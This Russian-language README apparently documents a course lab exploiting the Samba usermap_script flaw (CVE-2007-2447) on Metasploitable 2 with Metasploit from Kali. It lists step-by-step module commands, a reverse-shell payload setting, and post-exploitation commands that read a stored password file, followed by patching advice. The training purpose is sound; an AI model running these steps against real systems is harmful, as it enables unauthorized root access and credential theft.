SMB-PenTest-Эксплуатация-CVE-2007-2447-на-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Описание

Этот проект документирует моё тестирование на проникновение в рамках курса CMIT 386 в UMGC. Он посвящён эксплуатации уязвимости Samba SMB usermap_script (CVE-2007-2447) на Metasploitable 2 с помощью Metasploit из атакующей виртуальной машины Kali Linux. Эта демонстрация концепции показывает, как устаревшая уязвимость может привести к полной компрометации системы, краже учётных данных и утечке данных.

Обзор уязвимости

Уязвимость находится в службе Samba на порту 445, где некорректная обработка входных данных в сценарии сопоставления имён пользователей позволяет неаутентифицированному удалённому выполнению команд. При эксплуатации это даёт злоумышленнику доступ к оболочке с правами root.

Среда

Шаги для выполнения

1. Запуск Metasploit:

msfconsole

Убедитесь, что атакующая и целевая машины загружены и работают.

2. Поиск эксплойта:

search samba

3. Использование соответствующего модуля:

use exploit/multi/samba/usermap_script

4. Установка необходимых параметров:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Запуск эксплойта:

exploit

6. Команды после эксплуатации:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Инструкция по сбросу

Если сессия зависла или прервалась:

Сброс Metasploit:

# Выйти из текущей оболочки
Ctrl C
exit
# Завершить все фоновые задания
sessions -K             
jobs -K
# Перезапустить Metasploit
msfconsole

Ключевые выводы

Устаревшие службы, такие как Samba 3.0.20 с usermap_script, крайне уязвимы.
Эксплуатация этой SMB-уязвимости предоставляет доступ к оболочке root.
Критически важные данные могут быть получены простыми командами, что демонстрирует реальный риск.
Это доказывает необходимость установки обновлений, сегментации сети и сокращения количества доступных служб.

Атакующая ВМ	Kali Linux
Целевая ВМ	Metasploitable 2
Целевой порт	445 (Samba/SMB)
Используемый эксплойт	`exploit/multi/samba/usermap_script`
Целевые учётные данные	`/redteam7/student3/mypass.txt`

Популярное

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2